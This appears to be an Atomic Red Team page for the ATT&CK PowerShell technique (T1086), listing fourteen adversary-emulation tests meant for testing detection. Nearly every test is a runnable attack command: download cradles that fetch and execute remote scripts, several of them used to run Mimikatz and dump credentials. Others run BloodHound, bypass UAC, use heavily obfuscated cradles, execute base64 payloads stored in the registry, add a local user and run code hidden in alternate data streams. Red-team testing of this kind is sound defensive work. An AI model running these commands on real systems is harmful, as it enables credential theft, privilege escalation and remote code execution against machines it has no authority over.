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T1086 - PowerShell

Description from ATT&CK

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

Atomic Tests


Atomic Test #1 - Mimikatz

Download Mimikatz and dump credentials

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
mimurl Mimikatz url url https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"


Atomic Test #2 - BloodHound

Download Bloodhound and run it

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
bloodurl BloodHound URL url https://raw.githubusercontent.com/BloodHoundAD/BloodHound/a7ea5363870d925bc31d3a441a361f38b0aadd0b/Ingestors/SharpHound.ps1

Attack Commands: Run with command_prompt!

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{bloodurl}'); Invoke-BloodHound"


Atomic Test #3 - Obfuscation Tests

Different obfuscated methods to test Reaches out to bit.ly/L3g1t to stdout: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

Supported Platforms: Windows

Attack Commands: Run with powershell!

(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))


Atomic Test #4 - Mimikatz - Cradlecraft PsSendKeys

Run mimikatz via PsSendKeys

Supported Platforms: Windows

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr


Atomic Test #5 - Invoke-AppPathBypass

Note: Windows 10 only Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"


Atomic Test #6 - PowerShell Add User

Using PS 5.1, add a user via CLI

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
user_name username to add string atomic_user
full_name Full name of user string Atomic Red Team
password password to use string ATOM1CR3DT3@M
description Brief description of account string Atomic Things

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-LocalUser -FullName '#{full_name}' -Name '#{user_name}' -Password #{password} -Description '#{description}'


Atomic Test #7 - Powershell MsXml COM object - no prompt

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell MsXml COM object. Not proxy aware removing cache although does not appear to write to those locations

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1

Attack Commands: Run with command_prompt!

powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"


Atomic Test #8 - Powershell MsXml COM object - with prompt

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell MsXml COM object. Not proxy aware removing cache although does not appear to write to those locations

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1

Attack Commands: Run with command_prompt!

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"


Atomic Test #9 - Powershell XML requests

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell xml download request

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml

Attack Commands: Run with command_prompt!

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"


Atomic Test #10 - Powershell invoke mshta.exe download

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell invoke mshta to download payload

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct

Attack Commands: Run with powershell!

"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"


Atomic Test #11 - Powershell Invoke-DownloadCradle

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

Supported Platforms: Windows

Run it with these steps!

  1. Open Powershell_ise as a Privileged Account
  2. Invoke-DownloadCradle.ps1


Atomic Test #12 - PowerShell Fileless Script Execution

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections.

Supported Platforms: Windows

Attack Commands: Run with powershell!

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

Cleanup Commands:

cmd /c del /Q /F %SystemRoot%\Temp\art-marker.txt
cmd /c REG DELETE "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /f


Atomic Test #13 - PowerShell Downgrade Attack

Attempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/

Supported Platforms: Windows

Attack Commands: Run with powershell!

powershell.exe -version 2 -Command Write-Host $PSVersion

Dependencies: Run with powershell!

Description: PowerShell version 2 must be installed
Check Prereq Commands:
if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host  Automated installer not implemented yet, please install PowerShell v2 manually


Atomic Test #14 - NTFS Alternate Data Stream Access

Creates a file with an alternate data stream and simulates executing that hidden code/file

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
ads_file File created to store Alternate Stream Data String $env:TEMP\NTFS_ADS.txt

Attack Commands: Run with powershell!

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

Cleanup Commands:

Remove:Item #{ads_file}

Dependencies: Run with powershell!

Description: Homedrive must be an NTFS drive
Check Prereq Commands:
if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host Prereq's for this test cannot be met automatically